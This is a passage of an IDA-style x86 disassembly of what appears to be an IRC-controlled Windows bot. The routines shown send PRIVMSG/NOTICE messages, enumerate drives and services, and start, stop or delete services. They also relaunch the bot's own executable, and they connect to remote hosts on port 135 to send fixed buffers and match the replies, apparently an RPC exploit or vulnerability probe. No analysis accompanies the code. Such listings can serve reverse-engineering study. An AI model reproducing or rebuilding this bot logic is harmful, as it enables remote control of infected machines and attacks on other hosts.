arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D140
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D04D
		add	esp, 10h
		jmp	short loc_40D19F
; ---------------------------------------------------------------------------

loc_40D140:				; CODE XREF: sub_40D11F+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43EA94	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_417889
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43EA94	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D196

loc_40D164:				; CODE XREF: sub_40D11F+75j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D187
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D04D
		add	esp, 10h

loc_40D187:				; CODE XREF: sub_40D11F+54j
		push	esi
		call	sub_4177B0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_40D164

loc_40D196:				; CODE XREF: sub_40D11F+43j
		push	edi
		call	sub_41793B
		pop	ecx
		pop	edi
		pop	esi

loc_40D19F:				; CODE XREF: sub_40D11F+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1A2	proc near		; DATA XREF: sub_40E48A+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_444574
		call	dword_43EBBC	; closesocket
		call	sub_416C3D
		call	dword_43EA84	; WSACleanup
		call	dword_43EA84	; WSACleanup
		mov	ebx, dword_423064
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417030
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417030
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43BCE8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_423068	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_423094	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_40D267
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_423078
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle

loc_40D267:				; CODE XREF: sub_40D1A2+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_442F14
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_42314C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40D1A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D28A	proc near		; CODE XREF: sub_40D2C2+125p
					; sub_40D2C2+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D2B8

loc_40D29B:				; CODE XREF: sub_40D28A+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4195F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D2BE
		inc	esi
		cmp	esi, edi
		jl	short loc_40D29B

loc_40D2B8:				; CODE XREF: sub_40D28A+Fj
		xor	al, al

loc_40D2BA:				; CODE XREF: sub_40D28A+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D2BE:				; CODE XREF: sub_40D28A+27j
		mov	al, 1
		jmp	short loc_40D2BA
sub_40D28A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2C2	proc near		; CODE XREF: sub_402DB1+88p
					; sub_402DB1+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417830
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D303
		dec	eax
		jz	short loc_40D2E1
		dec	eax

loc_40D2DB:				; CODE XREF: sub_40D2C2+57j
		xor	eax, eax

loc_40D2DD:				; CODE XREF: sub_40D2C2+3Fj
					; sub_40D2C2+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D2E1:				; CODE XREF: sub_40D2C2+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43EB64	; inet_addr
		push	eax
		call	sub_40751B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D2DD
; ---------------------------------------------------------------------------

loc_40D303:				; CODE XREF: sub_40D2C2+13j
		push	6
		push	1
		push	2
		call	dword_43EBA4	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D2DB
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43EB24	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ABF8
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43EACC	; connect
		cmp	eax, edi
		jz	loc_40D41F
		push	ebx
		push	48h
		push	offset dword_42DA38
		push	esi
		call	dword_43EB74	; send
		cmp	eax, edi
		jz	loc_40D41F
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB3C	; recv
		cmp	eax, edi
		jz	loc_40D41F
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D41F
		push	ebx
		push	18h
		push	offset dword_42DA84
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		cmp	eax, edi
		jz	short loc_40D41F
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB3C	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D41F
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D41F
		push	10h
		push	offset loc_42DAA0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D28A
		add	esp, 10h
		test	al, al
		jz	short loc_40D3FF
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D41F
; ---------------------------------------------------------------------------

loc_40D3FF:				; CODE XREF: sub_40D2C2+12Fj
		push	10h
		push	offset dword_42DAB4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D28A
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D41F:				; CODE XREF: sub_40D2C2+9Bj
					; sub_40D2C2+B2j ...
		push	[ebp+arg_4]
		call	dword_43EBBC	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D2DD
sub_40D2C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D430	proc near		; CODE XREF: sub_40EAC7+3Dp
					; sub_40EC43+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4190FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		leave
		retn
sub_40D430	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D476	proc near		; CODE XREF: sub_401000+88p
					; sub_401444+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D491
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D491:				; CODE XREF: sub_40D476+14j
		push	edi
		call	sub_4177B0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_4177B0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_3	; "%s"
		push	esi
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42DAC8
		push	eax
		call	sub_416FB6
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D50F
		push	7D0h
		call	dword_423064	; Sleep

locret_40D50F:				; CODE XREF: sub_40D476+8Cj
		leave
		retn
sub_40D476	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D511	proc near		; CODE XREF: sub_40EC43:loc_410C05p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D576
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42DAF0[esi]
		push	edi
		push	eax
		call	sub_40D598
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D559
		push	edi
		push	off_42DAEC[esi]
		mov	esi, offset dword_4435E8
		push	offset dword_42DC1C
		push	esi
		call	sub_416FB6
		add	esp, 10h
		jmp	short loc_40D593
; ---------------------------------------------------------------------------

loc_40D559:				; CODE XREF: sub_40D511+2Aj
		push	eax
		call	sub_40D63A
		push	eax
		push	edi
		mov	esi, offset dword_4435E8
		push	offset dword_42DBE4
		push	esi
		call	sub_416FB6
		add	esp, 14h
		jmp	short loc_40D593
; ---------------------------------------------------------------------------

loc_40D576:				; CODE XREF: sub_40D511+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4435E8
		push	off_42DAE8[eax*4]
		push	offset dword_42DBB0
		push	esi
		call	sub_416FB6
		add	esp, 0Ch

loc_40D593:				; CODE XREF: sub_40D511+46j
					; sub_40D511+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D598	proc near		; CODE XREF: sub_40D511+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43EB18	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D5BF
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D634
; ---------------------------------------------------------------------------

loc_40D5BF:				; CODE XREF: sub_40D598+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43EA0C	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D5DF
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D62C
; ---------------------------------------------------------------------------

loc_40D5DF:				; CODE XREF: sub_40D598+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D612
		cmp	eax, 3
		jz	short loc_40D603
		jle	short loc_40D625
		cmp	eax, 6
		jg	short loc_40D625
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43EA74	; ControlService
		jmp	short loc_40D619
; ---------------------------------------------------------------------------

loc_40D603:				; CODE XREF: sub_40D598+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43EA14	; StartServiceA
		jmp	short loc_40D619
; ---------------------------------------------------------------------------

loc_40D612:				; CODE XREF: sub_40D598+4Dj
		push	esi
		call	dword_43EA78	; DeleteService

loc_40D619:				; CODE XREF: sub_40D598+69j
					; sub_40D598+78j
		test	eax, eax
		jnz	short loc_40D625
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebx, eax

loc_40D625:				; CODE XREF: sub_40D598+54j
					; sub_40D598+59j ...
		push	esi
		call	dword_43EA28	; CloseServiceHandle

loc_40D62C:				; CODE XREF: sub_40D598+45j
		push	edi
		call	dword_43EA28	; CloseServiceHandle
		pop	esi

loc_40D634:				; CODE XREF: sub_40D598+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D598	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D63A	proc near		; CODE XREF: sub_40D511+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D6EF
		jz	loc_40D6E8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D6B2
		jz	short loc_40D6A8
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D69E
		dec	ecx
		dec	ecx
		jz	short loc_40D694
		dec	ecx
		jz	short loc_40D68A
		sub	ecx, 51h
		jz	short loc_40D680
		sub	ecx, 24h
		jnz	loc_40D765	; default
					; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D680:				; CODE XREF: sub_40D63A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D68A:				; CODE XREF: sub_40D63A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D694:				; CODE XREF: sub_40D63A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D69E:				; CODE XREF: sub_40D63A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D6A8:				; CODE XREF: sub_40D63A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D6B2:				; CODE XREF: sub_40D63A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D6E1
		dec	ecx
		jz	short loc_40D6DA
		dec	ecx
		jz	short loc_40D6D3
		dec	ecx
		jnz	loc_40D765	; default
					; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D757
; ---------------------------------------------------------------------------

loc_40D6D3:				; CODE XREF: sub_40D63A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D6DA:				; CODE XREF: sub_40D63A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D6E1:				; CODE XREF: sub_40D63A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D6E8:				; CODE XREF: sub_40D63A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D6EF:				; CODE XREF: sub_40D63A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D765 ; default
					; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D752
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D765 ; default
					; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D7A6[ecx]
		jmp	off_40D77E[ecx*4] ; switch jump

loc_40D713:				; DATA XREF: .data:off_40D77Eo
		push	offset aTheSpecifiedDa ; jumptable 0040D70C case 7
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D71A:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceDepe ; jumptable 0040D70C case 17
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D721:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceDe_0 ; jumptable 0040D70C case 10
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D728:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceHasB ; jumptable 0040D70C case 0
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D72F:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheSpecified_0 ; jumptable 0040D70C case 2
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D736:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceCoul ; jumptable 0040D70C case 11
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D73D:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceHa_0 ; jumptable 0040D70C case 14
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D744:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheRequested_1 ; jumptable 0040D70C case 3
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D74B:				; CODE XREF: sub_40D63A+D2j
					; DATA XREF: .data:off_40D77Eo
		push	offset aTheServiceHasN ; jumptable 0040D70C case 4
		jmp	short loc_40D757
; ---------------------------------------------------------------------------

loc_40D752:				; CODE XREF: sub_40D63A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D757:				; CODE XREF: sub_40D63A+41j
					; sub_40D63A+4Bj ...
		push	offset dword_442F18
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	short loc_40D778
; ---------------------------------------------------------------------------

loc_40D765:				; CODE XREF: sub_40D63A+36j
					; sub_40D63A+89j ...
		push	eax		; default
					; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_442F18
		call	sub_416FB6
		add	esp, 0Ch

loc_40D778:				; CODE XREF: sub_40D63A+129j
		mov	eax, offset dword_442F18
		retn
sub_40D63A	endp

; ---------------------------------------------------------------------------
off_40D77E	dd offset loc_40D728	; DATA XREF: sub_40D63A+D2r
		dd offset loc_40D72F	; jump table for switch	statement
		dd offset loc_40D744
		dd offset loc_40D74B
		dd offset loc_40D713
		dd offset loc_40D721
		dd offset loc_40D736
		dd offset loc_40D73D
		dd offset loc_40D71A
		dd offset loc_40D765
byte_40D7A6	db	0,     9,     1,     2 ; DATA XREF: sub_40D63A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7B8	proc near		; CODE XREF: sub_40EC43+1FEDp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43EB18	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_40D7F0:				; CODE XREF: sub_40D7B8+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43EAE4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40D82A
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40D8E1

loc_40D82A:				; CODE XREF: sub_40D7B8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40D8D8
		lea	esi, [ebp+var_188]

loc_40D83B:				; CODE XREF: sub_40D7B8+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40D887
		dec	eax
		jz	short loc_40D880
		dec	eax
		jz	short loc_40D879
		dec	eax
		jz	short loc_40D872
		dec	eax
		jz	short loc_40D86B
		dec	eax
		jz	short loc_40D864
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_40D85D
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40D88F
; ---------------------------------------------------------------------------

loc_40D85D:				; CODE XREF: sub_40D7B8+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40D88F
; ---------------------------------------------------------------------------

loc_40D864:				; CODE XREF: sub_40D7B8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------

loc_40D86B:				; CODE XREF: sub_40D7B8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------

loc_40D872:				; CODE XREF: sub_40D7B8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------

loc_40D879:				; CODE XREF: sub_40D7B8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------

loc_40D880:				; CODE XREF: sub_40D7B8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------

loc_40D887:				; CODE XREF: sub_40D7B8+87j
		push	offset aStopped	; "    Stopped"

loc_40D88C:				; CODE XREF: sub_40D7B8+B1j
					; sub_40D7B8+B8j ...
		lea	eax, [ebp+var_20]

loc_40D88F:				; CODE XREF: sub_40D7B8+A3j
					; sub_40D7B8+AAj
		push	eax
		call	sub_416FB6
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40D83B

loc_40D8D8:				; CODE XREF: sub_40D7B8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D7F0

loc_40D8E1:				; CODE XREF: sub_40D7B8+6Cj
		push	[ebp+var_C]
		call	dword_43EA28	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D7B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8F8	proc near		; CODE XREF: sub_40EC43:loc_410CF0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40D991
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40D921
		dec	eax
		jnz	short loc_40D971
		push	edi
		push	0
		call	sub_40DACA
		pop	ecx
		pop	ecx
		jmp	short loc_40D96D
; ---------------------------------------------------------------------------

loc_40D921:				; CODE XREF: sub_40D8F8+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40D95F
		push	24h
		push	edi
		call	sub_418C50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D95F
		push	57h
		pop	eax

loc_40D938:				; CODE XREF: sub_40D8F8+77j
		push	eax
		call	sub_40E298
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4431E0
		push	off_42DAE8[eax*4]
		push	offset dword_42E1EC
		push	esi
		call	sub_416FB6
		add	esp, 18h
		jmp	short loc_40D9B1
; ---------------------------------------------------------------------------

loc_40D95F:				; CODE XREF: sub_40D8F8+2Dj
					; sub_40D8F8+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DA1E
		add	esp, 0Ch

loc_40D96D:				; CODE XREF: sub_40D8F8+27j
		test	eax, eax
		jnz	short loc_40D938

loc_40D971:				; CODE XREF: sub_40D8F8+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4431E0
		push	off_42DAEC[eax*4]
		push	offset dword_42E1C0
		push	esi
		call	sub_416FB6
		add	esp, 10h
		jmp	short loc_40D9B1
; ---------------------------------------------------------------------------

loc_40D991:				; CODE XREF: sub_40D8F8+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4431E0
		lea	eax, [eax+eax*2]
		push	off_42DAE8[eax*4]
		push	offset dword_42E18C
		push	esi
		call	sub_416FB6
		add	esp, 0Ch

loc_40D9B1:				; CODE XREF: sub_40D8F8+65j
					; sub_40D8F8+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40D8F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B7	proc near		; CODE XREF: sub_415CC2+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40D9C4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40D9C4:				; CODE XREF: sub_40D9B7+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_423150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4433E0, 1
		mov	ebp, eax
		jnz	short loc_40DA01
		or	byte_4433E0, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4182F5
		pop	ecx
		mov	dword_443178, eax

loc_40DA01:				; CODE XREF: sub_40D9B7+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443178
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_443178
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40D9B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA1E	proc near		; CODE XREF: sub_40D8F8+6Dp
					; sub_415FE8+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
